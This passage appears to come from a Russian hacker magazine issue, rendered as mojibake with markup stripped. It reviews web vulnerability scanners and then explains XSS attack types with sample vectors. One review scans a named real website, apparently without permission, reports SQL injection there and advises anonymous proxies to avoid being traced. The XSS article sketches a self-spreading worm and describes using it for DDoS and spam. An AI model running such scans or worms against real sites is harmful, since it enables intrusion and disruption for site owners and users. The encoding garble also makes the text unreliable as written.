Ïðè÷åì èìåííîïîñëå êàæäîãî èçìåíåíèÿ êîäà, äàæå íåçíà÷èòåëüíîãî.Òåñòèðîâàòü íóæíî àáñîëþòíî âñå, âåäüèçìåíåíèå â îäíîì ñöåíàðèè èëè íàñòðîéêàõ â áàçåäàííûõ ìîæåò ïðèâåñòè ê îøèáêå ñîâåðøåííîâ íåîæèäàííîì ìåñòå è íà òîé ñòðàíèöå, ñöåíàðèéêîòîðîé íå áûë èçìåíåí.


47CyD NET Utilswww.cydsoft.comsharewareäëÿ Ðîññèè 300 ðóáCyD NET Utils — íàáîðñåòåâûõ óòèëèò äëÿ îáëåã÷åíèÿñîáñòâåííîéæèçíè. Íåäàâíî â ïðîãðàììåïîÿâèëñÿ íîâûéìîäóëü — Security Test,êîòîðûé ïîçâîëÿåòòåñòèðîâàòü ñåðâåð íàíàèáîëåå ïîïóëÿðíûåóÿçâèìîñòè. Íà äàííûéìîìåíò web-ñàéòû òåñòèðóþòñÿíà SQL Injection,XSS, PHP-èíêëóäèíãè òîìó ïîäîáíûå óïóùåíèÿâ êîäå. Àëãîðèòìïîèñêà ïîêà íå èäåàëåí,íî ïîñòîÿííî ñîâåðøåíñòâóåòñÿ— îáíîâëåíèÿâûêëàäûâàþòñÿêàæäûé ìåñÿö.Ïðîãðàììà ìîæåòðàáîòàòü êàê íàïðÿìóþñ èíòåðíåòîì, òàê è ÷åðåçproxy-ñåðâåð. Ïðèýòîì íàñòðîéêè proxyìîæíî ñîõðàíèòü ãëîáàëüíîäëÿ âñåõ òåñòîâïðîãðàììû èëè âûáðàòüèíäèâèäóàëüíî äëÿêàæäîãî êîíêðåòíîãî,ê ïðèìåðó, åñëè õî÷åøüñäåëàòü òåñò ÷åðåç àíîíèìíûéïðîêñè, ÷òîáûòåáÿ íèêòî íå âû÷èñëèë.Äëÿ òåñòà ïðîãðàììûïðîâåðèì ñàéòwww.apahelpcenter.org. Çàïóñòèïðîãðàììó è âûáèðàéâ ìåíþ«File!Security test». ïîÿâèâøåìñÿ îêíåíàæèìàåøü êíîïêó«Test web server», îíàïåðâàÿ íà ïàíåëèèíñòðóìåíòîâ îêíà«Security test». Ïåðåäòîáîé ïîÿâèòñÿ îêíî,ãäå íóæíî óêàçàòü URLñàéòà, êîòîðûé íåîáõîäèìîïðîòåñòèðîâàòü,è íàñòðîéêè ñîåäèíåíèÿ(ïðÿìîé êîííåêò èëè÷åðåç ïðîêñè-ñåðâåð). êà÷åñòâå URL óêàçûâàåìwww.apahelpcenter.orgè íàæèìàåì OK. Ïîíåñëàñü.Õîòÿ àëãîðèòìíå ñèëüíî íàïðÿãàåòòðàôèê, õîðîøàÿ ñêîðîñòüæåëàòåëüíà.Òåðïåíèÿ è æåëàíèÿó íàñ õâàòèëî íà òåñòèðîâàíèåïÿòè ñöåíàðèåâè â òðåõ èç íèõ íàéäåíûóÿçâèìîñòèSQL Injection. Àâòîðû,íàâåðíîå, âîîáùåíå çàäóìûâàëèñüî áåçîïàñíîñòè.Ïî çàâåðøåíèè ñêàíèðîâàíèÿïðîãðàììàïðåäëàãàåò íåáîëüøîéîò÷åò î ïðîäåëàííîéðàáîòå è ññûëêèâ Ñåòè ñ îïèñàíèåìíàéäåííûõ îøèáîêñ âàðèàíòàìèèõ èñïðàâëåíèÿ(åñëè ó òåáÿ íåòïðîáëåì ñ àíãëèéñêèì,òî ýòî îïèñàíèå ìîæåòïðèãîäèòüñÿ).Íà äàííûé ìîìåíòïðîãðàììà èùåò îøèáêèâ ñöåíàðèÿõ íà PHPè ASP.  áëèæàéøååâðåìÿ áóäåò äîáàâëåíMacromedia ColdFusion. Îøèáêè â ñöåíàðèÿõPerl ïîêà äîáàâëÿòüíå ïëàíèðóåòñÿ, —ñ òî÷êè çðåíèÿ web-êîäèíãàýòîò ÿçûê ïîñòåïåííîâûìèðàåò.Ïî êðàéíåé ìåðå, êîëè-÷åñòâî ñàéòîâ, íàïèñàííûõíà íåì, ñîêðàùàåòñÿ,à íîâûå ïðàêòè÷åñêèíå ïîÿâëÿþòñÿ.Acunetix WebVulnerabilityScannerwww.acunetix.comshareware$349Ðàçðàáîò÷èêîì ïðîãðàììûÿâëÿåòñÿ ðàñêðó÷åííàÿAcunetix(â íåäàâíåì âðåìåíè —ìàëîèçâåñòíàÿ). Ðåêëàìóýòîé ïðîãðàììûäîâîëüíî ÷àñòî ìîæíîâñòðåòèòü â Google ads. òðèàëüíîé âåðñèèäîçâîëåíî òåñòèðîâàòüòîëüêî ñàéòûtestphp.acunetix.com,testasp.acunetix.comè testaspnet.acunetix.com.Îíè ñîçäàíû êîìïàíèåéñïåöèàëüíî äëÿ òåñòèðîâàíèÿïðîãðàììû,íî íå ôàêò, ÷òî íà äðóãèõñåðâåðàõ äàííûéñêàíåð áåçîïàñíîñòèïîêàæåò òàêèå æå ðåçóëüòàòûñêàíèðîâàíèÿè íàéäåò õîòÿ áûïîëîâèíó îøèáîê.Àëãîðèòì ïîèñêàíàì íå èçâåñòåí,à ðàçðàáîò÷èê åãîíå àôèøèðóåò. Òàê ÷òîðåàëüíî ïðîâåðèòüêà÷åñòâî òåñòèðîâàíèÿíåâîçìîæíî: áóäåìîòòàëêèâàòüñÿ îò òîãî,÷òî èçâåñòíî è äîñòóïíî.Vulnerability Scannerïîçâîëÿåò èñêàòü îøèáêèâ ñöåíàðèÿõ íà ÿçûêàõPHP, ASPè ASP.NET. Ïîìèìîýòîãî, ïðîãðàììàìîæåò ïðîâåðÿòü íàîøèáêè JavaScript-ñöåíàðèè,÷òî ñìåëî îòíîñèìê ïðåèìóùåñòâàì.Ìîæíî òåñòèðîâàòüíå òîëüêî íàïðÿìóþ,íî è ÷åðåç HTTP èëèSOCKS ïðîêñè-ñåðâåð— äëÿ îáåñïå÷åíèÿàíîíèìíîñòè.Èòàê, ÷òî èìååì íàâûõîäå: áîãàòûå,íî íå ïîäòâåðæäåííûåáîåâûìè òåñòàìè âîçìîæíîñòè;êðàñèâûé èóäîáíûé èíòåðôåéñ; ïîèñêóÿçâèìîñòåé XSS,SQL Injection, PHP-èíêëþäèíã,ïîèñê õàêåðñêèõçàïðîñîâ ïî áàçåGoogle, îáõîä êàòàëîãà,crlf-injection, îáùåäîñòóïíûåðåçåðâíûå êîïèèñöåíàðèåâ; õîðîøàÿñëóæáà ïîääåðæêè,êîòîðàÿ âñåãäà îòâå÷àåò,íî íå âñåãäà âîâðåìÿ(íà íàøè âîïðîñûðàçðàáîò÷èêè îòâåòèëè÷åðåç òðè äíÿ, ïðàâäà,äâà èç íèõ áûëè âûõîäíûìè).Åñëè ó òåáÿ åñòüëèøíèå 350 áàêñîâ,òî ìîæåøü êóïèòüïðîãðàììó è þçàòüíà çäîðîâüå.


48 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07SQL Injection ToolsSQLHacKÕàëÿâàÝòà óòèëèòà íå èùåòîøèáêè íà ñàéòå, à èñïîëüçóåòèõ äëÿ ïîëó÷åíèÿîïðåäåëåííîé èíôîðìàöèèî ñåðâåðå/áàçåäàííûõ. Îíà ïîìîãàåòóçíàòü âåðñèþ ñåðâåðàÁÄ, åå èìÿ, ïîëüçîâàòåëÿ,ïîäîáðàòü èìåíàòàáëèö è ïîëåé ÷åðåçóæå íàéäåííóþ óÿçâèìîñòü.Íåêîòîðûå ëþáÿòïîâòîðÿòü, ÷òî ÷åðåçíàéäåííóþ óÿçâèìîñòüè îáåçüÿíà ñìîæåò óçíàòüâñþ èíôîðìàöèþ.Íî ïî÷åìó áû íå îáëåã-÷èòü ñåáå òðóä?Åñëè íàøåë óÿçâèìûéurl, íî íå çíàåøü, êàêèì âîñïîëüçîâàòüñÿ,çàãðóæàé SQL Injectiontools:1 Ââåäè url c ïàðàìåòðàìè,íàïðèìåðwww.target.com/index.php?id=123.Óÿçâèìûéïàðàìåòð îáÿçàòåëüíîäîëæåíáûòü ïîñëåäíèìâ url — «id=123».2  ïîëå «÷òî èùåì»ââåäè êóñîê òåêñòàèëè ñëîâî, êîòîðîåîòîáðàæàåòñÿ, åñëèçàãðóçèòü, íàïðèìåð,www.target.com/index.php?id=123,è íå îòîáðàæàåòñÿ,åñëè çàãðóçèòü www.target.com/index.php?id=123'.3 Äàëüøå âñå ÿñíî,êíîïêè ãîâîðÿò ñàìèçà ñåáÿ.Óòèëèòà ïîçâîëÿåòñåðüåçíî ñýêîíîìèòüâðåìÿ, — íóæíî òîëüêîñîçäàòü õîðîøèé ñëîâàðèêè ñêîðìèòü åãîSQL Injection tools.Parosparosproxy.orgÕàëÿâàÝòî íå ïðîñòî ïðîãðàììàäëÿ ñêàíèðîâàíèÿ,ýòî ïðîêñè-ñåðâåð,íàïèñàííûé íà Javañ ïðîäâèíóòûìèâîçìîæíîñòÿìèäëÿ àíàëèçà.Ïîñëå çàãðóçêèParos ñîçäàåò íà òâîåéìàøèíå ïðîêñè.Ïî óìîë÷àíèþ îí ðàáîòàåòíà 8080 ïîðòå.Çàïóñêàåøü áðàóçåðè èäåøü â ñâîéñòâà.Óñòàíîâè ðàáîòó ÷åðåçïðîêñè, óêàæè ëîêàëüíóþìàøèíó 127.0.0.1è ïîðò 8080. Òåïåðüìîæåøü ðàáîòàòüñ èíòåðíåòîì, à â ýòîâðåìÿ Paros áóäåòñêàíèðîâàòü îòêðûâàåìûåñàéòû íà íàëè÷èåóÿçâèìîñòåé. Òîëüêîïðèãîòîâüñÿ ïîòåðÿòüóéìó òðàôèêà: êóøàåòParos ñ àïïåòèòîì(äëÿ òåõ, êòî ñèäèòíà áåçëèìèòêå,ýòî íå òàê êðèòè÷íî).Ïðîãðàììà ïîçâîëÿåòìîäèôèöèðîâàòüçàïðîñû ê ñåðâåðó,èìååò êó÷ó ôèëüòðîâ,ìîæåò ðàáîòàòü ÷åðåçóäàëåííûé ïðîêñè, îáëàäàåòõîðîøèìè âîçìîæíîñòÿìèæóðíàëèðîâàíèÿ,íî àíàëèçàòîðåùå ñûðîé. ßâíûéíåäîñòàòîê — îòêðîâåííîóáîãèé è íåóäîáíûéèíòåðôåéñ.Îòëè÷íî ïîäîéäåòäëÿ àíàëèçà ïàêåòîâ,íî äëÿ àâòîìàòè÷åñêîãîïîèñêà óÿçâèìîñòåéíå ðåêîìåíäîâàë áû.n4n0bithttp://n4n.cup.su/freewaren4n0bitÝòà ïðîãðàììà íàïèñàíàíàøèì ñîîòå÷åñòâåííèêîìíà Perl, è ååëþáèìàÿ ñðåäà — Linux.Èùåò SQL/PHP-Injection(â òîì ÷èñëå, è â èñõîäíèêàõ),XSS ÷åðåç web,à òàêæå èìååò íåáîëüøîéCGI-ñêàíåð. Ê ñîæàëåíèþ,îãðàíè÷åííîñòüîäíèì òîëüêîÿçûêîì PHP îòêðûâàåòíå î÷åíü øèðîêîå ïîëåáîåâûõ äåéñòâèé, íî õîðîøèéàíàëèçàòîð ïåðåáèâàåòíåäîñòàòîê.èòîãî. Ìû ïîêàçàëè ðàçíîïëàíîâûåïðîãðàììû. Íî èíôîðìàöèÿáûñòðî óñòàðåâàåò, ïîÿâëÿþòñÿ íîâûåóòèëèòû, à íåêîòîðûå èç ñòàðûõìîãóò «óìèðàòü».Íî ïîìíè — ïðîãðàììû àâòîìàòèçàöèèíå ìîãóò äàòü ãàðàíòèè,÷òî íåò óÿçâèìîñòè íà ñåðâåðå. áîëüøèíñòâå ñëó÷àåâ îíè íàõîäÿòîòêðîâåííûå ëÿïû, îñîáåííîêîãäà âêëþ÷åíû ñîîáùåíèÿ îáîøèáêàõ. Íî åñëè îøèáêè íå âûâîäÿòñÿè íåêîòîðûå ñèìâîëû âñå æåôèëüòðóþòñÿ, àâòîìàòè÷åñêèé òåñòìîæåò íè÷åãî íå äàòü. À âîò îáõîäôèëüòðîâ âðó÷íóþ ìîæåò áûòü êóäàáîëåå ðåçóëüòàòèâíûì.Ñ äðóãîé ñòîðîíû, «áûñòðûé»òåñò ïîçâîëÿåò ïîíÿòü, ñìîãóò ëèäàííûé ñàéò âçëîìàòü íà÷èíàþùèå,ìàëîîïûòíûå «õàêåðû» ñ íàáîðîì÷óæèõ ïðîãðàìì. Íåñìîòðÿíà îòñóòñòâèå 100% ðåçóëüòàòà, ðåêîìåíäóåìèñïîëüçîâàòü ïðåäñòàâëåííûåïðîãðàììêè äëÿ ýêñïðåññàíàëèçà.


50 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07êëþ÷êî ìíîãèìäâåðÿìXSSÂÎ ÌÍÎÃÈÕ XSS ÓÆÅ ÄÀÂÍÎ ÍÅÒÍÈÊÀÊÎÃÎ ÊÐÎÑÑ-ÑÀÉÒÎÂÎÃÎÈ ÒÅÌ ÁÎËÅÅ ÓÆ ÑÊÐÈÏÒÈÍÃÀ.ÍÀ ÑÀÌÎÌ ÄÅËÅ ÂÑÅ ÏÐÎÑÒÎ —ËÞÁÀß ÂÎÇÌÎÆÍÎÑÒÜ ÂÎÇÄÅÉÑÒÂÈßÍÀ (ÈËÈ ÂÇÀÈÌÎÄÅÉÑÒÂÈß Ñ, ÈËÈÏÐÎÑÒÎ ÏÅÐÅÄÀ×È ÈÍÔÎÐÌÀÖÈÈ Ê È ÎÒ)ÓÄÀËÅÍÍÎÃÎ ÏÎËÜÇÎÂÀÒÅËß,ÎÑÓÙÅÑÒÂËßÅÌÀß ×ÅÐÅÇ ÓßÇÂÈÌÛÉÑÀÉÒ ÓÄÀËÅÍÍÛÌ ÕÀÊÅÐÎÌ, È ÁÓÄÅÒ XSS.ÇÍÀÞÙÈÅ ËÞÄÈ ÓÒÂÅÐÆÄÀÞÒ,×ÒÎ ÏÐÀÂÈËÜÍÀß ÐÀÑØÈÔÐÎÂÊÀXSS — ÕÀÊÅÐÓ ÑÄÀÂØÈÉÑß ÑÀÉÒ.Dr. Maxim Orlovsky (www.arhont.com)â âàøåì àëêîãîëå êðîâè íå îáíàðóæåíî. Òèïè÷íàÿXSS-àòàêà ñîñòîèò èç ñëåäóþùèõ ñòàíäàðòíûõýòàïîâ:1 ÏÎÈÑÊÀ ÓßÇÂÈÌÎÑÒÈ;2 ÂÛÁÎÐÀ ÌÅÒÎÄÀ ÏÅÐÅÄÀ×ÈÈÍÔÎÐÌÀÖÈÈ ÈËÈ ÂÎÇÄÅÉÑÒÂÈßÍÀ ÏÎËÜÇÎÂÀÒÅËß ×ÅÐÅÇ XSS-ÂÅÊÒÎÐ;3 ÑÎÇÄÀÍÈß ÄÎÏÎËÍÈÒÅËÜÍÛÕÈÍÑÒÐÓÌÅÍÒΠÄËß ÏÎÄÄÅÐÆÊÈXSS-ÏÐÎÊÑÈ, ÓÄÀËÅÍÍÎ ÐÀÇÌÅÙÅÍ-ÍÛÕ ÔÀÉËÎÂ È ÏÐÎ×ÅÃÎ;4 ÏÎÈÑÊÀ ÑÏÎÑÎÁÀ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈßXSS-ÂÅÊÒÎÐÀ;5 ÑÎÑÒÀÂËÅÍÈß ÝÔÔÅÊÒÈÂÍÎÃÎXSS-ÂÅÊÒÎÐÀ;6 ÓÌÅËÎÃÎ ÝÊÑÏËÓÀÒÈÐÎÂÀÍÈßÏÎËÓ×ÅÍÍÛÕ ÄÀÍÍÛÕ.Ïîïûòàåìñÿ äåòàëüíî ðàçîáðàòü îáùóþ èäåîëîãèþ,êëàññèôèêàöèþ è äàòü ýâðèñòè÷åñêèé àëãîðèòìñîâðåìåííûõ XSS-àòàê — òàê ñêàçàòü, îñóùåñòâèòüïîëíîå ïðåïàðèðîâàíèå êðîññ-ñàéòîâîãîñêðèïòèíãà.êëàññèôèêàöèÿ — âñêðûòèå ïîêàçàëî, ÷òîñàéò óìåð îò … XSS. XSS-àòàêè äðóã îò äðóãà îòëè-÷àåò ñïîñîá (à òî÷íåå ñêàçàòü, ìîäåëü) ïåðåäà÷èäàííûõ ìåæäó êëèåíòîì, ñåðâåðîì è õàêåðîì.  öåëîìíà íàñòîÿùèé ìîìåíò èçâåñòíî òðè îñíîâíûõìîäåëè.1XSS DOM.  ýòîé ìîäåëè óÿçâèìîñòü ñàéòà çàêëþ÷àåòñÿâ òîì, ÷òî íå ñåðâåðíûé ñêðèïò, à èìåííîêëèåíòñêèé JavaScript èçâëåêàåò äàííûå èç URLñòðàíèöû è âíåäðÿåò èõ â HTML ñòðàíèöû ÷åðåçîáúåêòû Document Object Model (DOM, îòñþäà èíàçâàíèå ìîäåëè àòàêè). Èòàê, óÿçâèìîñòü ñàéòà íàõîäèòñÿâ HTML — èëè JavaScript-ôàéëàõ, è ñòîèòïîëüçîâàòåëþ îòêðûòü ññûëêó, ñîäåðæàùóþ XSSâåêòîðõàêåðà, êàê ñîäåðæèìîå ñòðàíèöû áóäåò èçìåíåíîè â íåå óæå íåïîñðåäñòâåííî íà ìàøèíåêëèåíòà áóäåò âíåäðåí êîä èç òåëà âåêòîðà.Äàííàÿ ìîäåëü àòàêè ïî ñâîåìó ðåçóëüòàòó èñïîñîáó ïîñòðîåíèÿ âåêòîðà ïîëíîñòüþ àíàëîãè÷íàêëàññè÷åñêîé XSS-àòàêå (îíà èäåò ñëåäóþùèìïóíêòîì). Åäèíñòâåííîå ÷òî, âñòðå÷àåòñÿ îíà äîñòàòî÷íîðåäêî. Îäíàêî åñëè õàêåð íå ìîæåò âçëîìàòüñêðèïòû ñåðâåðà è íàéòè â íèõ äûðó, îí îáÿçàòåëüíîïðî÷òåò âåñü JavaScript-êîä (áëàãî îí âñåãäà äîñòóïåíäëÿ ïðîñìîòðà â îòëè÷èå îò òîãî æå PHP).È, âîçìîæíî, èìåííî òàì îí è íàéäåò óÿçâèìîñòü.ïðèìåð óÿçâèìîé ñòðàíèöûWelcome!Hivar pos=document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.URL.length));Welcome to our system...ïðèìåð âåêòîðàhttp://www.vulnerable.site/welcome.html?name=alert(document.cookie)Äðóãèì âàæíûì ìîìåíòîì â îòíîøåíèè ýòîãî òèïààòàê ÿâëÿåòñÿ òî, ÷òî ñåðâåð è áðàóçåð àòàêóåìîãîïîëüçîâàòåëÿ íå îñóùåñòâëÿëè àâòîìàòè÷åñêîãî ïðåîáðàçîâàíèÿñèìâîëîâ «» â ñòðîêå àäðåñàâ URL-encoded çíà÷åíèÿ «%3C» è «%3E». Íî õðàáðûåõàêåðû âñåãäà èäóò â îáõîä. Îáõîäíûì ìàíåâðîìâ ýòîì ñëó÷àå ìîæåò îêàçàòüñÿ èñïîëüçîâàíèå çíà÷êà«#» (õýø èëè äèåç), âåäü êóñîê URL ïîñëå ýòîãîñèìâîëà íå ÿâëÿåòñÿ ÷àñòüþ çàïðîñà, è òàêèå áðàóçåðûêàê 6 Internet Explorer è Mozilla åãî íà ñåðâåð íå ïåðåäàþò.Òîãäà àòàêà ñ èñïîëüçîâàíèåì âåêòîðà òèïàhttp://www.vulnerable.site/welcome.html#name=alert(document.cookie)âïîëíå ìîæåò îêàçàòüñÿ óäà÷íîé.2«Êëàññè÷åñêèé» XSS. Íàèáîëåå ðàñïðîñòðàíåííàÿìîäåëü àòàê.  ýòîé ìîäåëè ñåðâåð èìååò òàêíàçûâàåìóþ «íåïîñòîÿííóþ» (âîîáùå, â ðóññêîìÿçûêå òðóäíî ïîäîáðàòü àíàëîã äëÿ àíãëèéñêîãînon-persistent èëè reflected) óÿçâèìîñòü. Åñëè ñåðâåðíûéñêðèïò íåäîñòàòî÷íî òùàòåëüíî ôèëüòðóåòïåðåäàííûå åìó ïàðàìåòðû, òî òåëî XSS-âåêòîðàïîïàäàåò â ðåçóëüòèðóþùèé HTML, CSS ëèáî JavaScript-êîäíåïîñðåäñòâåííî â áðàóçåð êëèåíòà(ñìîòðè ðèñóíîê 1). Äà, â CSS òîæå ìîæíî âíåäðÿòüèñïîëíÿåìûé êîä ÷åðåç èñïîëüçîâàíèå êîíñòðóêöèé«url(«javascript:…»)».3 «Ïåðñèñòèðóþùèé» XSS. Ôàêòè÷åñêè, ýòîò òèïàòàê ñâÿçàí ñ ïåðìàíåíòíûì ðàçìåùåíèåì ïàðàìåòðîâäëÿ ñêðèïòà, ïåðåäàâàåìûõ îò õàêåðà íà ñåðâåð,íåïîñðåäñòâåííî â áàçå äàííûõ ñåðâåðà è ïîñëåäóþùåéâûäà÷åé ìèëëèîíàì ïîñåòèòåëåé ñàéòà(÷àùå âñåãî ýòî ôîðóìû, áëîãè è ò.ï.). Ó ýòîé ìîäåëèåñòü äâà ãèãàíòñêèõ ïðåèìóùåñòâà ïåðåä ïðåäøåñòâåííèêàìè:çäåñü íå òðåáóåòñÿ ðàññûëêà äàííûõîò õàêåðà ê ïîëüçîâàòåëþ (âñå äåëàåòñÿ ÷åðåç ñåðâåð,è êëèåíò íè÷åãî è íèêîãäà íå çàïîäîçðèò), è âîçìîæíîñîçäàíèå òàê íàçûâàåìûõ XSS-÷åðâåé —êàæäûé ïîñåòèòåëü óÿçâèìîãî ôîðóìà/áëîãà èñïîëíèòêîä õàêåðà, à ýòîò êîä ìîæåò ðàçìåùàòü ñàì ñåáÿíà äðóãèõ ñòðàíèöàõ óÿçâèìîãî ôîðóìà!


51ÑåðâåðÑåðâåð12 3222ÕàêåðÏîëüçîâàòåëüñåòè1 4ÏîëüçîâàòåëüñåòèÏîëüçîâàòåëüñåòèÏîëüçîâàòåëüñåòèÕàêåð«Êëàññè÷åñêèé» XSS3«Ïåðñèñòðèðóþùèé» XSSñòðóêòóðà XSS-÷åðâÿ. Âî-ïåðâûõ, ñàì ÷åðâüäîëæåí âêëþ÷àòü â ñåáÿ êîä äëÿ ïîñòèíãà íà ôîðóìå/áëîãå.Äëÿ òàêèõ çàäà÷ èäåàëüíî ïîäõîäèò òåõíîëîãèÿAJAX è àêòèâíî èñïîëüçóåìûé ñ íåäàâíèõ ïîðîáúåêò JavaScript ïîä íàçâàíèåì XMLHttpRequest.ïðèìåð XSS-÷åðâÿfunction HTTPRequest (url){// branch for native XMLHttpRequestobjectif (window.XMLHttpRequest) {req = new XMLHttpRequest();req.onreadystatechange =processReqChange;req.open("GET", url, true);req.send(null);// branch for IE/Windows ActiveXversion} else if (window.ActiveXObject) {req = newActiveXObject("Microsoft.XMLHTTP");if (req) {req.onreadystatechange =processReqChange;req.open("GET", url, true);req.send();}}}HTTPRequest("http://vulnerable-blog.com/vulerablescript.php?vulnerable-arg=");Âåñü ýòîò êîä ïîìåùàåòñÿ íà ñàéò, äîñòóïíûé äëÿõàêåðà, è ãðóçèòñÿ â áðàóçåðû ïîñåòèòåëåé ôîðóìà/áëîãà÷åðåç ïîñò, ñîäåðæàùèé òåêñò âèäà . Ïîäîáíûì îáðàçîì,êñòàòè, áûëà ïðîèçâåäåíà àòàêà íà áëîã MySpace,êîãäà â òå÷åíèå íåñêîëüêèõ ÷àñîâ îí áûë ïîäâåðãíóòèç-çà ðîñòà ÷èñëà çàïðîñîâ îò ÷åðâåé æåñòêîìóDDoS'ó. Òàê ÷òî DDoS — ýòî åùå îäíà ôèøêà äëÿXSS-àòàê òðåòüåãî òèïà. Äîïóñòèì, ÷òî íàäî ïîäâåðãíóòüDDoS-àòàêå íåêèé ñåðâåð (êîòîðûé äàæåíå èìååò íèêàêîãî îòíîøåíèÿ ê XSS). Ïóñòü êàæäûéêëèåíò íàïðàâèò ñâîé çàïðîñ íà óêàçàííûé ñåðâåð,èñïîëüçóÿ òîò æå îáúåêò XMLHTTPRequest. Âóà ëÿ,âîò òåáå äåñÿòêè è äåñÿòêè òûñÿ÷ çàïðîñîâ â ìèíóòó.Ïðè ýòîì íè÷òî íå ìåøàåò êîìáèíèðîâàòü âíóòðèîäíîãî ñêðèïòà êîä äëÿ DDoS-àòàêè è êîä äëÿ ðàñïðîñòðàíåíèÿïî ôîðóìó, ÷òîáû óâåëè÷èòü ÷èñëîDDoS-çàïðîñîâ. Âîò è ñêàæè ïîñëå ýòîãî, ÷òî XSS íåïðåäñòàâëÿåò íè÷åãî îïàñíîãî è ñåðüåçíîãî.Èäåì äàëåå: ðàññûëêà ñïàìà. Âñåãî-òî ñòîèòâíåäðèòü â òåëî XSS-âåêòîðà êîä äëÿ îòïðàâêè ïî÷òîâûõñîîáùåíèé ÷åðåç ïóáëè÷íûå ñåðâåðû âåáìåéëà,æåëàòåëüíî íå ÷åðåç îäèí (åñëè òîëüêî òûíå õî÷åøü åãî ñìåðòè îò DDoS'à), è âîò òåáå òîííûêîððåñïîíäåíöèè. Îïÿòü æå, â ïèñüìàõ ìîæíî ðàññûëàòüàäðåñà XSS-óÿçâèìûõ ñàéòîâ, â êîòîðûåâñòðîåíû òå æå ñàìûå XSS-âåêòîðû. Ôàêòè÷åñêè,ïîëåò ôàíòàçèè â ýòîé îáëàñòè íåîãðàíè÷åí —îãðàíè÷åíî ëèøü ÷èñëî ñåðâåðîâ, èìåþùèõ òàêîé«ïðèÿòíûé» òèï XSS-óÿçâèìîñòè, êàê ïåðìàíåíòíîåðàçìåùåíèå êîäà.ÕàêåðÒàê íàçûâàåìûé XSS DOM12ñîñòàâëåíèå XSS-âåêòîðîâ äëÿ âòîðîé ìîäåëèàòàê. Óäèâèòåëüíî, íàñêîëüêî ÷àñòî, ãîâîðÿ îáXSS, çàáûâàþò ïðî âîïðîñ ñîçäàíèÿ âíåäðÿåìûõXSS-âåêòîðîâ (ôðàãìåíòîâ êîäà, êîòîðûé áóäåò âûïîëíÿòüñÿòàì), à âåäü ýòî, ïî ñóòè, ñåðäöå âçëîìà,ñàìà îòìû÷êà. Âñå ðàâíî ÷òî ãîâîðèòü î òîì, ñêîëüêîâ áàíêå äåíåã, ðàññêàçûâàòü î òèïàõ çàìêîâ íàñåéôå è î òîì, ÷òî ïîòîì äåëàòü ñ «÷åñòíî» âçÿòûìèàññèãíàöèÿìè, íî ïðè ýòîì íè ñëîâà íå óïîìÿíóòüîá èçãîòîâëåíèè îòìû÷êè äëÿ ïðîíèêíîâåíèÿâ ñåéô. Òàê ÷òî ïðîâåäåì íåêîòîðûé ëèêáåç.Ïîäõîäÿ ê âîïðîñó òîãî, êàê æå èìåííî ëó÷øèìîáðàçîì ñîñòàâèòü èíúåêöèîííûé XSS-âåêòîð,ïðîñòî íåâîçìîæíî íå ïðîöèòèðîâàòü êëàññèêàîòå÷åñòâåííîé íàóêè Ëàíäàó — «ýòî âàì íå ôèçèêà,çäåñü äóìàòü íàäî». Òîëüêî îí ýòî ãîâîðèëî ïðåôåðàíñå, à íå î XSS, íî àíàëîãèÿ âïîëíå óìåñòíàÿ.Òàëàíò ïðåôåðàíñèñòà, ðàâíî êàê è «XSSâåêòîðèñòà»— ýòî èíòóèöèÿ âçëîìùèêà, ïîìíîæåííàÿíà ýðóäèöèþ ñïåöèàëèñòà è ìàñòåðñòâîêîìáèíèðîâàíèÿ Îñòàïà Áåíäåðà. Íî íå äóìàé, ÷òîâñå ýòî òàê óæ íåäîñòóïíî. Íàïðîòèâ, ñîçäàòü êðàñèâûéâåêòîð äëÿ ëþáîãî èç òèïîâ XSS — ýòî êàêäâà áàéòà ïåðåñëàòü. Âîò è ïðîèçâåäåì ïî î÷åðåäèðàçáîð ïîëåòîâ ïî êàæäîìó èç ïóíêòîâ, äàáû òàëàíòâåëèêîãî Áåíäåðà â êóïå ñ ãåíèàëüíîñòüþ Íîáåëåâñêîãîëàóðåàòà îñåíèë è íàñ.ñìåíà êîíòåêñòà äëÿ âåêòîðà. Íà÷íåìñ àçîâ — ñòðóêòóðû ýòîãî ñàìîãî âåêòîðà.  íàøåìÏîëüçîâàòåëüñåòè


52 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07÷òî ìîæíî îòíåñòèê ìèôàì î xss?1 ÍÅ ÎÏÀÑÍÎ È ÇÀÙÈÙÀÒÜÑß ÍÅ ÍÀÄÎÎÏÀÑÍÎÑÒÜ ÎÒ XSS ÍÅÄÎÎÖÅÍÈÂÀÅÒÑß. ÏÅÐÂÓÞ Î×ÅÐÅÄÜ ÈÇ-ÇÀ ÒÎÃÎ, ×ÒÎ ÑÀ-ÌÓÞ ØÈÐÎÊÓÞ ÈÇÂÅÑÒÍÎÑÒÜ ÏÎËÓ×ÈËÈÏÅÐÂÛÅ XSS-ÀÒÀÊÈ, ÊÎÒÎÐÛÅ ÄÅÉÑÒÂÈ-ÒÅËÜÍÎ ÍÅ ÌÎÃËÈ ÍÀÍÅÑÒÈ ÑÅÐÜÅÇÍÛÉÓÐÎÍ. ÒÅÌ ÍÅ ÌÅÍÅÅ, ÑÎÂÐÅÌÅÍÍÛÅ ÌÅÒÎ-ÄÛ XSS ÇÀ×ÀÑÒÓÞ ÃÎÐÀÇÄÎ ÁÎËÅÅ ÎÏÀÑ-ÍÛ. ÄÎÑÒÀÒÎ×ÍÎ ÓÏÎÌßÍÓÒÜ ÓÁÛÒÊÈ ÎÒÏÅÐÂÎÃÎ XSS-×ÅÐÂß, ÇÀÏÓÙÅÍÍÎÃÎ ÁËÀ-ÃÎÄÀÐß ÄÛÐÀÌ Â ÏÓÁËÈ×ÍÎÌ ÁËÎÃÅ.ÓÐÎÍ ÂÏÎËÍÅ ÌÀÒÅÐÈÀËÜÍÛÉ È ÈÇÌÅÐß-ÅÌÛÉ ÊÀÊ Â ÄÅÍÅÆÍÛÕ ÇÍÀÊÀÕ, ÒÀÊ È ÃÎ-ÄÀÕ ÇÀÊËÞ×ÅÍÈß, ÃÐÎÇßÙÈÕ XSS-ÕÀÊÅÐÓ.2 ÍÈ×ÅÃÎ ÎÑÎÁÎ ÈÌ ÍÅ ÑÄÅËÀÅØÜÏÎÏÐÎÁÓÞ ÊËÀÑÑÈÔÈÖÈÐÎÂÀÒÜ 